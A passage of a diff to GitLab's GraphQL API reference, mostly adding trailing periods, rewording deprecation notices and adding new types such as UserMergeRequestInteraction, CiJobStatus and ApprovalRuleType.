[`Int`](#int) | Total number of test cases that had an error. | +| `failed` | [`Int`](#int) | Total number of test cases that failed. | +| `skipped` | [`Int`](#int) | Total number of test cases that were skipped. | +| `success` | [`Int`](#int) | Total number of test cases that succeeded. | +| `suiteError` | [`String`](#string) | Test suite error message. | +| `time` | [`Float`](#float) | Total duration of the tests. | + +### `TestSuite` + +Test suite in a pipeline test report. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `errorCount` | [`Int`](#int) | Total number of test cases that had an error. | +| `failedCount` | [`Int`](#int) | Total number of test cases that failed in the test suite. | +| `name` | [`String`](#string) | Name of the test suite. | +| `skippedCount` | [`Int`](#int) | Total number of test cases that were skipped in the test suite. | +| `successCount` | [`Int`](#int) | Total number of test cases that succeeded in the test suite. | +| `suiteError` | [`String`](#string) | Test suite error message. | +| `testCases` | [`TestCaseConnection`](#testcaseconnection) | Test cases in the test suite. | +| `totalCount` | [`Int`](#int) | Total number of the test cases in the test suite. | +| `totalTime` | [`Float`](#float) | Total duration of the tests in the test suite. | + +### `TestSuiteSummary` + +Test suite summary in a pipeline test report. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `buildIds` | [`[ID!]`](#id) | IDs of the builds used to run the test suite. | +| `errorCount` | [`Int`](#int) | Total number of test cases that had an error. | +| `failedCount` | [`Int`](#int) | Total number of test cases that failed in the test suite. | +| `name` | [`String`](#string) | Name of the test suite. | +| `skippedCount` | [`Int`](#int) | Total number of test cases that were skipped in the test suite. | +| `successCount` | [`Int`](#int) | Total number of test cases that succeeded in the test suite. | +| `suiteError` | [`String`](#string) | Test suite error message. | +| `totalCount` | [`Int`](#int) | Total number of the test cases in the test suite. | +| `totalTime` | [`Float`](#float) | Total duration of the tests in the test suite. | + +### `TestSuiteSummaryConnection` + +The connection type for TestSuiteSummary. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `count` | [`Int!`](#int) | Total count of collection. | +| `edges` | [`[TestSuiteSummaryEdge]`](#testsuitesummaryedge) | A list of edges. | +| `nodes` | [`[TestSuiteSummary]`](#testsuitesummary) | A list of nodes. | +| `pageInfo` | [`PageInfo!`](#pageinfo) | Information to aid in pagination. | + +### `TestSuiteSummaryEdge` + +An edge in a connection. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `cursor` | [`String!`](#string) | A cursor for use in pagination. | +| `node` | [`TestSuiteSummary`](#testsuitesummary) | The item at the end of the edge. | + ### `TimeReportStats` Represents the time report stats for timeboxes. @@ -6164,7 +6638,7 @@ Autogenerated return type of TodoRestoreMany. | `clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | | `errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. | | `todos` | [`[Todo!]!`](#todo) | Updated to-do items. | -| `updatedIds` **{warning-solid}** | [`[TodoID!]!`](#todoid) | **Deprecated:** Use to-do items. Deprecated in 13.2. | +| `updatedIds` **{warning-solid}** | [`[TodoID!]!`](#todoid) | **Deprecated** in 13.2. Use to-do items. | ### `TodoRestorePayload` @@ -6185,7 +6659,7 @@ Autogenerated return type of TodosMarkAllDone. | `clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | | `errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. | | `todos` | [`[Todo!]!`](#todo) | Updated to-do items. | -| `updatedIds` **{warning-solid}** | [`[TodoID!]!`](#todoid) | **Deprecated:** Use to-do items. Deprecated in 13.2. | +| `updatedIds` **{warning-solid}** | [`[TodoID!]!`](#todoid) | **Deprecated** in 13.2. Use to-do items. | ### `ToggleAwardEmojiPayload` @@ -6379,13 +6853,13 @@ Autogenerated return type of UpdateSnippet. | Field | Type | Description | | ----- | ---- | ----------- | -| `captchaSiteKey` | [`String`](#string) | The CAPTCHA site key which must be used to render a challenge for the user to solve to obtain a valid captchaResponse value. Included only when an operation was not completed because "NeedsCaptchaResponse" is true. | +| `captchaSiteKey` **{warning-solid}** | [`String`](#string) | **Deprecated** in 13.11. Use spam protection with HTTP headers instead. | | `clientMutationId` | [`String`](#string) | A unique identifier for the client performing the mutation. | | `errors` | [`[String!]!`](#string) | Errors encountered during execution of the mutation. | -| `needsCaptchaResponse` | [`Boolean`](#boolean) | Indicates whether the operation was detected as possible spam and not completed. If CAPTCHA is enabled, the request must be resubmitted with a valid CAPTCHA response and spam_log_id included for the operation to be completed. Included only when an operation was not completed because "NeedsCaptchaResponse" is true. | +| `needsCaptchaResponse` **{warning-solid}** | [`Boolean`](#boolean) | **Deprecated** in 13.11. Use spam protection with HTTP headers instead. | | `snippet` | [`Snippet`](#snippet) | The snippet after mutation. | -| `spam` | [`Boolean`](#boolean) | Indicates whether the operation was detected as definite spam. There is no option to resubmit the request with a CAPTCHA response. | -| `spamLogId` | [`Int`](#int) | The spam log ID which must be passed along with a valid CAPTCHA response for an operation to be completed. Included only when an operation was not completed because "NeedsCaptchaResponse" is true. | +| `spam` **{warning-solid}** | [`Boolean`](#boolean) | **Deprecated** in 13.11. Use spam protection with HTTP headers instead. | +| `spamLogId` **{warning-solid}** | [`Int`](#int) | **Deprecated** in 13.11. Use spam protection with HTTP headers instead. | ### `UsageTrendsMeasurement` @@ -6418,14 +6892,16 @@ An edge in a connection. ### `User` +Representation of a GitLab user. + | Field | Type | Description | | ----- | ---- | ----------- | -| `assignedMergeRequests` | [`MergeRequestConnection`](#mergerequestconnection) | Merge Requests assigned to the user. | -| `authoredMergeRequests` | [`MergeRequestConnection`](#mergerequestconnection) | Merge Requests authored by the user. | +| `assignedMergeRequests` | [`MergeRequestConnection`](#mergerequestconnection) | Merge requests assigned to the user. | +| `authoredMergeRequests` | [`MergeRequestConnection`](#mergerequestconnection) | Merge requests authored by the user. | | `avatarUrl` | [`String`](#string) | URL of the user's avatar. | | `bot` | [`Boolean!`](#boolean) | Indicates if the user is a bot. | | `callouts` | [`UserCalloutConnection`](#usercalloutconnection) | User callouts that belong to the user. | -| `email` **{warning-solid}** | [`String`](#string) | **Deprecated:** Use public_email. Deprecated in 13.7. | +| `email` **{warning-solid}** | [`String`](#string) | **Deprecated** in 13.7. This was renamed. Use: `User.publicEmail`. | | `groupCount` | [`Int`](#int) | Group count for the user. Available only when feature flag `user_group_counts` is enabled. | | `groupMemberships` | [`GroupMemberConnection`](#groupmemberconnection) | Group memberships of the user. | | `id` | [`ID!`](#id) | ID of the user. | @@ -6433,13 +6909,13 @@ An edge in a connection. | `name` | [`String!`](#string) | Human-readable name of the user. | | `projectMemberships` | [`ProjectMemberConnection`](#projectmemberconnection) | Project memberships of the user. | | `publicEmail` | [`String`](#string) | User's public email. | -| `reviewRequestedMergeRequests` | [`MergeRequestConnection`](#mergerequestconnection) | Merge Requests assigned to the user for review. | +| `reviewRequestedMergeRequests` | [`MergeRequestConnection`](#mergerequestconnection) | Merge requests assigned to the user for review. | | `snippets` | [`SnippetConnection`](#snippetconnection) | Snippets authored by the user. | | `starredProjects` | [`ProjectConnection`](#projectconnection) | Projects starred by the user. | | `state` | [`UserState!`](#userstate) | State of the user. | | `status` | [`UserStatus`](#userstatus) | User status. | -| `todos` | [`TodoConnection!`](#todoconnection) | To-do items of the user. | -| `userPermissions` | [`UserPermissions!`](#userpermissions) | Permissions for the current user on the resource | +| `todos` | [`TodoConnection`](#todoconnection) | To-do items of the user. | +| `userPermissions` | [`UserPermissions!`](#userpermissions) | Permissions for the current user on the resource. | | `username` | [`String!`](#string) | Username of the user. Unique within this instance of GitLab. | | `webPath` | [`String!`](#string) | Web path of the user. | | `webUrl` | [`String!`](#string) | Web URL of the user. | @@ -6499,11 +6975,27 @@ An edge in a connection. | `cursor` | [`String!`](#string) | A cursor for use in pagination. | | `node` | [`User`](#user) | The item at the end of the edge. | +### `UserMergeRequestInteraction` + +Information about a merge request given a specific user. + +This object has two parts to its state: a `User` and a `MergeRequest`. All +fields relate to interactions between the two entities. + +| Field | Type | Description | +| ----- | ---- | ----------- | +| `applicableApprovalRules` | [`[ApprovalRule!]`](#approvalrule) | Approval rules that apply to this user for this merge request. | +| `approved` | [`Boolean!`](#boolean) | Whether this user has approved this merge request. | +| `canMerge` | [`Boolean!`](#boolean) | Whether this user can merge this merge request. | +| `canUpdate` | [`Boolean!`](#boolean) | Whether this user can update this merge request. | +| `reviewState` | [`MergeRequestReviewState`](#mergerequestreviewstate) | The state of the review by this user. | +| `reviewed` | [`Boolean!`](#boolean) | Whether this user has provided a review for this merge request. | + ### `UserPermissions` | Field | Type | Description | | ----- | ---- | ----------- | -| `createSnippet` | [`Boolean!`](#boolean) | Indicates the user can perform `create_snippet` on this resource | +| `createSnippet` | [`Boolean!`](#boolean) | Indicates the user can perform `create_snippet` on this resource. | ### `UserStatus` @@ -6512,7 +7004,7 @@ An edge in a connection. | `availability` | [`AvailabilityEnum!`](#availabilityenum) | User availability status. | | `emoji` | [`String`](#string) | String representation of emoji. | | `message` | [`String`](#string) | User status message. | -| `messageHtml` | [`String`](#string) | HTML of the user status message | +| `messageHtml` | [`String`](#string) | HTML of the user status message. | ### `VulnerabilitiesCountByDay` @@ -6520,14 +7012,14 @@ Represents the count of vulnerabilities by severity on a particular day. This da | Field | Type | Description | | ----- | ---- | ----------- | -| `critical` | [`Int!`](#int) | Total number of vulnerabilities on a particular day with critical severity | +| `critical` | [`Int!`](#int) | Total number of vulnerabilities on a particular day with critical severity. | | `date` | [`ISO8601Date!`](#iso8601date) | Date for the count. | -| `high` | [`Int!`](#int) | Total number of vulnerabilities on a particular day with high severity | -| `info` | [`Int!`](#int) | Total number of vulnerabilities on a particular day with info severity | -| `low` | [`Int!`](#int) | Total number of vulnerabilities on a particular day with low severity | -| `medium` | [`Int!`](#int) | Total number of vulnerabilities on a particular day with medium severity | +| `high` | [`Int!`](#int) | Total number of vulnerabilities on a particular day with high severity. | +| `info` | [`Int!`](#int) | Total number of vulnerabilities on a particular day with info severity. | +| `low` | [`Int!`](#int) | Total number of vulnerabilities on a particular day with low severity. | +| `medium` | [`Int!`](#int) | Total number of vulnerabilities on a particular day with medium severity. | | `total` | [`Int!`](#int) | Total number of vulnerabilities on a particular day. | -| `unknown` | [`Int!`](#int) | Total number of vulnerabilities on a particular day with unknown severity | +| `unknown` | [`Int!`](#int) | Total number of vulnerabilities on a particular day with unknown severity. | ### `VulnerabilitiesCountByDayAndSeverity` @@ -6606,11 +7098,11 @@ Represents a vulnerability. | `resolvedBy` | [`User`](#user) | The user that resolved the vulnerability. | | `resolvedOnDefaultBranch` | [`Boolean!`](#boolean) | Indicates whether the vulnerability is fixed on the default branch or not. | | `scanner` | [`VulnerabilityScanner`](#vulnerabilityscanner) | Scanner metadata for the vulnerability. | -| `severity` | [`VulnerabilitySeverity`](#vulnerabilityseverity) | Severity of the vulnerability (INFO, UNKNOWN, LOW, MEDIUM, HIGH, CRITICAL) | -| `state` | [`VulnerabilityState`](#vulnerabilitystate) | State of the vulnerability (DETECTED, CONFIRMED, RESOLVED, DISMISSED) | +| `severity` | [`VulnerabilitySeverity`](#vulnerabilityseverity) | Severity of the vulnerability (INFO, UNKNOWN, LOW, MEDIUM, HIGH, CRITICAL). | +| `state` | [`VulnerabilityState`](#vulnerabilitystate) | State of the vulnerability (DETECTED, CONFIRMED, RESOLVED, DISMISSED). | | `title` | [`String`](#string) | Title of the vulnerability. | | `userNotesCount` | [`Int!`](#int) | Number of user notes attached to the vulnerability. | -| `userPermissions` | [`VulnerabilityPermissions!`](#vulnerabilitypermissions) | Permissions for the current user on the resource | +| `userPermissions` | [`VulnerabilityPermissions!`](#vulnerabilitypermissions) | Permissions for the current user on the resource. | | `vulnerabilityPath` | [`String`](#string) | URL to the vulnerability's details page. | ### `VulnerabilityConfirmPayload` @@ -6965,15 +7457,15 @@ Check permissions for the current user on a vulnerability. | Field | Type | Description | | ----- | ---- | ----------- | -| `adminVulnerability` | [`Boolean!`](#boolean) | Indicates the user can perform `admin_vulnerability` on this resource | -| `adminVulnerabilityExternalIssueLink` | [`Boolean!`](#boolean) | Indicates the user can perform `admin_vulnerability_external_issue_link` on this resource | -| `adminVulnerabilityIssueLink` | [`Boolean!`](#boolean) | Indicates the user can perform `admin_vulnerability_issue_link` on this resource | -| `createVulnerability` | [`Boolean!`](#boolean) | Indicates the user can perform `create_vulnerability` on this resource | -| `createVulnerabilityExport` | [`Boolean!`](#boolean) | Indicates the user can perform `create_vulnerability_export` on this resource | -| `createVulnerabilityFeedback` | [`Boolean!`](#boolean) | Indicates the user can perform `create_vulnerability_feedback` on this resource | -| `destroyVulnerabilityFeedback` | [`Boolean!`](#boolean) | Indicates the user can perform `destroy_vulnerability_feedback` on this resource | -| `readVulnerabilityFeedback` | [`Boolean!`](#boolean) | Indicates the user can perform `read_vulnerability_feedback` on this resource | -| `updateVulnerabilityFeedback` | [`Boolean!`](#boolean) | Indicates the user can perform `update_vulnerability_feedback` on this resource | +| `adminVulnerability` | [`Boolean!`](#boolean) | Indicates the user can perform `admin_vulnerability` on this resource. | +| `adminVulnerabilityExternalIssueLink` | [`Boolean!`](#boolean) | Indicates the user can perform `admin_vulnerability_external_issue_link` on this resource. | +| `adminVulnerabilityIssueLink` | [`Boolean!`](#boolean) | Indicates the user can perform `admin_vulnerability_issue_link` on this resource. | +| `createVulnerability` | [`Boolean!`](#boolean) | Indicates the user can perform `create_vulnerability` on this resource. | +| `createVulnerabilityExport` | [`Boolean!`](#boolean) | Indicates the user can perform `create_vulnerability_export` on this resource. | +| `createVulnerabilityFeedback` | [`Boolean!`](#boolean) | Indicates the user can perform `create_vulnerability_feedback` on this resource. | +| `destroyVulnerabilityFeedback` | [`Boolean!`](#boolean) | Indicates the user can perform `destroy_vulnerability_feedback` on this resource. | +| `readVulnerabilityFeedback` | [`Boolean!`](#boolean) | Indicates the user can perform `read_vulnerability_feedback` on this resource. | +| `updateVulnerabilityFeedback` | [`Boolean!`](#boolean) | Indicates the user can perform `update_vulnerability_feedback` on this resource. | ### `VulnerabilityResolvePayload` @@ -7002,6 +7494,7 @@ Represents a vulnerability scanner. | Field | Type | Description | | ----- | ---- | ----------- | | `externalId` | [`String`](#string) | External ID of the vulnerability scanner. | +| `id` | [`ID`](#id) | ID of the scanner. | | `name` | [`String`](#string) | Name of the vulnerability scanner. | | `reportType` | [`VulnerabilityReportType`](#vulnerabilityreporttype) | Type of the vulnerability report. | | `vendor` | [`String`](#string) | Vendor of the vulnerability scanner. | @@ -7031,12 +7524,12 @@ Represents vulnerability counts by severity. | Field | Type | Description | | ----- | ---- | ----------- | -| `critical` | [`Int`](#int) | Number of vulnerabilities of CRITICAL severity of the project | -| `high` | [`Int`](#int) | Number of vulnerabilities of HIGH severity of the project | -| `info` | [`Int`](#int) | Number of vulnerabilities of INFO severity of the project | -| `low` | [`Int`](#int) | Number of vulnerabilities of LOW severity of the project | -| `medium` | [`Int`](#int) | Number of vulnerabilities of MEDIUM severity of the project | -| `unknown` | [`Int`](#int) | Number of vulnerabilities of UNKNOWN severity of the project | +| `critical` | [`Int`](#int) | Number of vulnerabilities of CRITICAL severity of the project. | +| `high` | [`Int`](#int) | Number of vulnerabilities of HIGH severity of the project. | +| `info` | [`Int`](#int) | Number of vulnerabilities of INFO severity of the project. | +| `low` | [`Int`](#int) | Number of vulnerabilities of LOW severity of the project. | +| `medium` | [`Int`](#int) | Number of vulnerabilities of MEDIUM severity of the project. | +| `unknown` | [`Int`](#int) | Number of vulnerabilities of UNKNOWN severity of the project. | ### `VulnerableDependency` @@ -7080,13 +7573,13 @@ Access level to a resource. | Value | Description | | ----- | ----------- | -| `DEVELOPER` | Developer access | -| `GUEST` | Guest access | -| `MAINTAINER` | Maintainer access | -| `MINIMAL_ACCESS` | Minimal access | -| `NO_ACCESS` | No access | -| `OWNER` | Owner access | -| `REPORTER` | Reporter access | +| `DEVELOPER` | Developer access. | +| `GUEST` | Guest access. | +| `MAINTAINER` | Maintainer access. | +| `MINIMAL_ACCESS` | Minimal access. | +| `NO_ACCESS` | No access. | +| `OWNER` | Owner access. | +| `REPORTER` | Reporter access. | ### `AlertManagementAlertSort` @@ -7112,10 +7605,10 @@ Values for sorting alerts. | `UPDATED_DESC` | Updated at descending order. | | `UPDATED_TIME_ASC` | Created time by ascending order. | | `UPDATED_TIME_DESC` | Created time by descending order. | -| `created_asc` **{warning-solid}** | **Deprecated:** Use CREATED_ASC. Deprecated in 13.5. | -| `created_desc` **{warning-solid}** | **Deprecated:** Use CREATED_DESC. Deprecated in 13.5. | -| `updated_asc` **{warning-solid}** | **Deprecated:** Use UPDATED_ASC. Deprecated in 13.5. | -| `updated_desc` **{warning-solid}** | **Deprecated:** Use UPDATED_DESC. Deprecated in 13.5. | +| `created_asc` **{warning-solid}** | **Deprecated:** This was renamed. Please use `CREATED_ASC`. Deprecated in 13.5. | +| `created_desc` **{warning-solid}** | **Deprecated:** This was renamed. Please use `CREATED_DESC`. Deprecated in 13.5. | +| `updated_asc` **{warning-solid}** | **Deprecated:** This was renamed. Please use `UPDATED_ASC`. Deprecated in 13.5. | +| `updated_desc` **{warning-solid}** | **Deprecated:** This was renamed. Please use `UPDATED_DESC`. Deprecated in 13.5. | ### `AlertManagementDomainFilter` @@ -7168,12 +7661,12 @@ Alert severity values. | Value | Description | | ----- | ----------- | -| `CRITICAL` | Critical severity | -| `HIGH` | High severity | -| `INFO` | Info severity | -| `LOW` | Low severity | -| `MEDIUM` | Medium severity | -| `UNKNOWN` | Unknown severity | +| `CRITICAL` | Critical severity. | +| `HIGH` | High severity. | +| `INFO` | Info severity. | +| `LOW` | Low severity. | +| `MEDIUM` | Medium severity. | +| `UNKNOWN` | Unknown severity. | ### `AlertManagementStatus` @@ -7181,10 +7674,10 @@ Alert status values. | Value | Description | | ----- | ----------- | -| `ACKNOWLEDGED` | Acknowledged status | -| `IGNORED` | Ignored status | -| `RESOLVED` | Resolved status | -| `TRIGGERED` | Triggered status | +| `ACKNOWLEDGED` | Acknowledged status. | +| `IGNORED` | Ignored status. | +| `RESOLVED` | Resolved status. | +| `TRIGGERED` | Triggered status. | ### `ApiFuzzingScanMode` @@ -7196,14 +7689,34 @@ All possible ways to specify the API surface for an API fuzzing scan. | `OPENAPI` | The API surface is specified by a OPENAPI file. | | `POSTMAN` | The API surface is specified by a POSTMAN file. | +### `ApprovalRuleType` + +The kind of an approval rule. + +| Value | Description | +| ----- | ----------- | +| `ANY_APPROVER` | A `any_approver` approval rule. | +| `CODE_OWNER` | A `code_owner` approval rule. | +| `REGULAR` | A `regular` approval rule. | +| `REPORT_APPROVER` | A `report_approver` approval rule. | + +### `AssigneeWildcardId` + +Assignee ID wildcard values. + +| Value | Description | +| ----- | ----------- | +| `ANY` | An assignee is assigned. | +| `NONE` | No assignee is assigned. | + ### `AvailabilityEnum` User availability status. | Value | Description | | ----- | ----------- | -| `BUSY` | Busy | -| `NOT_SET` | Not Set | +| `BUSY` | Busy. | +| `NOT_SET` | Not Set. | ### `BlobViewersType` @@ -7224,6 +7737,22 @@ Values for YAML processor result. | `INVALID` | The configuration file is not valid. | | `VALID` | The configuration file is valid. | +### `CiJobStatus` + +| Value | Description | +| ----- | ----------- | +| `CANCELED` | A job that is canceled. | +| `CREATED` | A job that is created. | +| `FAILED` | A job that is failed. | +| `MANUAL` | A job that is manual. | +| `PENDING` | A job that is pending. | +| `PREPARING` | A job that is preparing. | +| `RUNNING` | A job that is running. | +| `SCHEDULED` | A job that is scheduled. | +| `SKIPPED` | A job that is skipped. | +| `SUCCESS` | A job that is success. | +| `WAITING_FOR_RESOURCE` | A job that is waiting for resource. | + ### `CommitActionMode` Mode of a commit action. @@ -7243,35 +7772,44 @@ Mode of a commit action. | `BASE64` | Base64 encoding. | | `TEXT` | Text encoding. | +### `ConanMetadatumFileTypeEnum` + +Conan file types. + +| Value | Description | +| ----- | ----------- | +| `PACKAGE_FILE` | A package file type. | +| `RECIPE_FILE` | A recipe file type. | + ### `ContainerExpirationPolicyCadenceEnum` | Value | Description | | ----- | ----------- | -| `EVERY_DAY` | Every day | -| `EVERY_MONTH` | Every month | -| `EVERY_THREE_MONTHS` | Every three months | -| `EVERY_TWO_WEEKS` | Every two weeks | -| `EVERY_WEEK` | Every week | +| `EVERY_DAY` | Every day. | +| `EVERY_MONTH` | Every month. | +| `EVERY_THREE_MONTHS` | Every three months. | +| `EVERY_TWO_WEEKS` | Every two weeks. | +| `EVERY_WEEK` | Every week. | ### `ContainerExpirationPolicyKeepEnum` | Value | Description | | ----- | ----------- | -| `FIFTY_TAGS` | 50 tags per image name | -| `FIVE_TAGS` | 5 tags per image name | -| `ONE_HUNDRED_TAGS` | 100 tags per image name | -| `ONE_TAG` | 1 tag per image name | -| `TEN_TAGS` | 10 tags per image name | -| `TWENTY_FIVE_TAGS` | 25 tags per image name | +| `FIFTY_TAGS` | 50 tags per image name. | +| `FIVE_TAGS` | 5 tags per image name. | +| `ONE_HUNDRED_TAGS` | 100 tags per image name. | +| `ONE_TAG` | 1 tag per image name. | +| `TEN_TAGS` | 10 tags per image name. | +| `TWENTY_FIVE_TAGS` | 25 tags per image name. | ### `ContainerExpirationPolicyOlderThanEnum` | Value | Description | | ----- | ----------- | -| `FOURTEEN_DAYS` | 14 days until tags are automatically removed | -| `NINETY_DAYS` | 90 days until tags are automatically removed | -| `SEVEN_DAYS` | 7 days until tags are automatically removed | -| `THIRTY_DAYS` | 30 days until tags are automatically removed | +| `FOURTEEN_DAYS` | 14 days until tags are automatically removed. | +| `NINETY_DAYS` | 90 days until tags are automatically removed. | +| `SEVEN_DAYS` | 7 days until tags are automatically removed. | +| `THIRTY_DAYS` | 30 days until tags are automatically removed. | ### `ContainerRepositoryCleanupStatus` @@ -7296,10 +7834,10 @@ Values for sorting container repositories. | `NAME_DESC` | Name by descending order. | | `UPDATED_ASC` | Updated at ascending order. | | `UPDATED_DESC` | Updated at descending order. | -| `created_asc` **{warning-solid}** | **Deprecated:** Use CREATED_ASC. Deprecated in 13.5. | -| `created_desc` **{warning-solid}** | **Deprecated:** Use CREATED_DESC. Deprecated in 13.5. | -| `updated_asc` **{warning-solid}** | **Deprecated:** Use UPDATED_ASC. Deprecated in 13.5. | -| `updated_desc` **{warning-solid}** | **Deprecated:** Use UPDATED_DESC. Deprecated in 13.5. | +| `created_asc` **{warning-solid}** | **Deprecated:** This was renamed. Please use `CREATED_ASC`. Deprecated in 13.5. | +| `created_desc` **{warning-solid}** | **Deprecated:** This was renamed. Please use `CREATED_DESC`. Deprecated in 13.5. | +| `updated_asc` **{warning-solid}** | **Deprecated:** This was renamed. Please use `UPDATED_ASC`. Deprecated in 13.5. | +| `updated_desc` **{warning-solid}** | **Deprecated:** This was renamed. Please use `UPDATED_DESC`. Deprecated in 13.5. | ### `ContainerRepositoryStatus` @@ -7334,17 +7872,24 @@ Status of a container repository. | `HEADER` | Header validation. | | `TEXT_FILE` | Text file validation. | +### `DastTargetTypeEnum` + +| Value | Description | +| ----- | ----------- | +| `API` | API target. | +| `WEBSITE` | Website target. | + ### `DataVisualizationColorEnum` Color of the data visualization palette. | Value | Description | | ----- | ----------- | -| `AQUA` | Aqua color | -| `BLUE` | Blue color | -| `GREEN` | Green color | -| `MAGENTA` | Magenta color | -| `ORANGE` | Orange color | +| `AQUA` | Aqua color. | +| `BLUE` | Blue color. | +| `GREEN` | Green color. | +| `MAGENTA` | Magenta color. | +| `ORANGE` | Orange color. | ### `DataVisualizationWeightEnum` @@ -7352,17 +7897,17 @@ Weight of the data visualization palette. | Value | Description | | ----- | ----------- | -| `WEIGHT_100` | 100 weight | -| `WEIGHT_200` | 200 weight | -| `WEIGHT_300` | 300 weight | -| `WEIGHT_400` | 400 weight | -| `WEIGHT_50` | 50 weight | -| `WEIGHT_500` | 500 weight | -| `WEIGHT_600` | 600 weight | -| `WEIGHT_700` | 700 weight | -| `WEIGHT_800` | 800 weight | -| `WEIGHT_900` | 900 weight | -| `WEIGHT_950` | 950 weight | +| `WEIGHT_100` | 100 weight. | +| `WEIGHT_200` | 200 weight. | +| `WEIGHT_300` | 300 weight. | +| `WEIGHT_400` | 400 weight. | +| `WEIGHT_50` | 50 weight. | +| `WEIGHT_500` | 500 weight. | +| `WEIGHT_600` | 600 weight. | +| `WEIGHT_700` | 700 weight. | +| `WEIGHT_800` | 800 weight. | +| `WEIGHT_900` | 900 weight. | +| `WEIGHT_950` | 950 weight. | ### `DesignCollectionCopyState` @@ -7370,9 +7915,9 @@ Copy state of a DesignCollection. | Value | Description | | ----- | ----------- | -| `ERROR` | The DesignCollection encountered an error during a copy | -| `IN_PROGRESS` | The DesignCollection is being copied | -| `READY` | The DesignCollection has no copy in progress | +| `ERROR` | The DesignCollection encountered an error during a copy. | +| `IN_PROGRESS` | The DesignCollection is being copied. | +| `READY` | The DesignCollection has no copy in progress. | ### `DesignVersionEvent` @@ -7380,9 +7925,9 @@ Mutation event of a design within a version. | Value | Description | | ----- | ----------- | -| `CREATION` | A creation event | -| `DELETION` | A deletion event | -| `MODIFICATION` | A modification event | +| `CREATION` | A creation event. | +| `DELETION` | A deletion event. | +| `MODIFICATION` | A modification event. | | `NONE` | No change. | ### `DiffPositionType` @@ -7391,8 +7936,8 @@ Type of file the position refers to. | Value | Description | | ----- | ----------- | -| `image` | An image | -| `text` | A text file | +| `image` | An image. | +| `text` | A text file. | ### `EntryType` @@ -7410,10 +7955,14 @@ Roadmap sort values. | Value | Description | | ----- | ----------- | -| `end_date_asc` | End date at ascending order. | -| `end_date_desc` | End date at descending order. | -| `start_date_asc` | Start date at ascending order. | -| `start_date_desc` | Start date at descending order. | +| `END_DATE_ASC` | Sort by end date in ascending order. | +| `END_DATE_DESC` | Sort by end date in descending order. | +| `START_DATE_ASC` | Sort by start date in ascending order. | +| `START_DATE_DESC` | Sort by start date in descending order. | +| `end_date_asc` **{warning-solid}** | **Deprecated:** Use END_DATE_ASC. Deprecated in 13.11. | +| `end_date_desc` **{warning-solid}** | **Deprecated:** Use END_DATE_DESC. Deprecated in 13.11. | +| `start_date_asc` **{warning-solid}** | **Deprecated:** Use START_DATE_ASC. Deprecated in 13.11. | +| `start_date_desc` **{warning-solid}** | **Deprecated:** Use START_DATE_DESC. Deprecated in 13.11. | ### `EpicState` @@ -7449,19 +7998,19 @@ Event action. | Value | Description | | ----- | ----------- | -| `APPROVED` | Approved action | -| `ARCHIVED` | Archived action | -| `CLOSED` | Closed action | -| `COMMENTED` | Commented action | -| `CREATED` | Created action | -| `DESTROYED` | Destroyed action | -| `EXPIRED` | Expired action | -| `JOINED` | Joined action | -| `LEFT` | Left action | -| `MERGED` | Merged action | -| `PUSHED` | Pushed action | -| `REOPENED` | Reopened action | -| `UPDATED` | Updated action | +| `APPROVED` | Approved action. | +| `ARCHIVED` | Archived action. | +| `CLOSED` | Closed action. | +| `COMMENTED` | Commented action. | +| `CREATED` | Created action. | +| `DESTROYED` | Destroyed action. | +| `EXPIRED` | Expired action. | +| `JOINED` | Joined action. | +| `LEFT` | Left action. | +| `MERGED` | Merged action. | +| `PUSHED` | Pushed action. | +| `REOPENED` | Reopened action. | +| `UPDATED` | Updated action. | ### `GroupMemberRelation` @@ -7469,9 +8018,9 @@ Group member relation. | Value | Description | | ----- | ----------- | -| `DESCENDANTS` | Descendants members | -| `DIRECT` | Direct members | -| `INHERITED` | Inherited members | +| `DESCENDANTS` | Descendants members. | +| `DIRECT` | Direct members. | +| `INHERITED` | Inherited members. | ### `HealthStatus` @@ -7489,11 +8038,11 @@ Incident severity. | Value | Description | | ----- | ----------- | -| `CRITICAL` | Critical severity | -| `HIGH` | High severity | -| `LOW` | Low severity | -| `MEDIUM` | Medium severity | -| `UNKNOWN` | Unknown severity | +| `CRITICAL` | Critical severity. | +| `HIGH` | High severity. | +| `LOW` | Low severity. | +| `MEDIUM` | Medium severity. | +| `UNKNOWN` | Unknown severity. | ### `IssuableState` @@ -7533,10 +8082,10 @@ Values for sorting issues. | `UPDATED_DESC` | Updated at descending order. | | `WEIGHT_ASC` | Weight by ascending order. | | `WEIGHT_DESC` | Weight by descending order. | -| `created_asc` **{warning-solid}** | **Deprecated:** Use CREATED_ASC. Deprecated in 13.5. | -| `created_desc` **{warning-solid}** | **Deprecated:** Use CREATED_DESC. Deprecated in 13.5. | -| `updated_asc` **{warning-solid}** | **Deprecated:** Use UPDATED_ASC. Deprecated in 13.5. | -| `updated_desc` **{warning-solid}** | **Deprecated:** Use UPDATED_DESC. Deprecated in 13.5. | +| `created_asc` **{warning-solid}** | **Deprecated:** This was renamed. Please use `CREATED_ASC`. Deprecated in 13.5. | +| `created_desc` **{warning-solid}** | **Deprecated:** This was renamed. Please use `CREATED_DESC`. Deprecated in 13.5. | +| `updated_asc` **{warning-solid}** | **Deprecated:** This was renamed. Please use `UPDATED_ASC`. Deprecated in 13.5. | +| `updated_desc` **{warning-solid}** | **Deprecated:** This was renamed. Please use `UPDATED_DESC`. Deprecated in 13.5. | ### `IssueState` @@ -7564,9 +8113,9 @@ Issue type. | Value | Description | | ----- | ----------- | -| `INCIDENT` | Incident issue type | -| `ISSUE` | Issue issue type | -| `TEST_CASE` | Test Case issue type | +| `INCIDENT` | Incident issue type. | +| `ISSUE` | Issue issue type. | +| `TEST_CASE` | Test Case issue type. | ### `IterationState` @@ -7658,6 +8207,15 @@ New state to apply to a merge request. | `CLOSED` | Close the merge request if it is open. | | `OPEN` | Open the merge request if it is closed. | +### `MergeRequestReviewState` + +State of a review of a GitLab merge request. + +| Value | Description | +| ----- | ----------- | +| `REVIEWED` | The merge request is reviewed. | +| `UNREVIEWED` | The merge request is unreviewed. | + ### `MergeRequestSort` Values for sorting merge requests. @@ -7676,10 +8234,10 @@ Values for sorting merge requests. | `PRIORITY_DESC` | Priority by descending order. | | `UPDATED_ASC` | Updated at ascending order. | | `UPDATED_DESC` | Updated at descending order. | -| 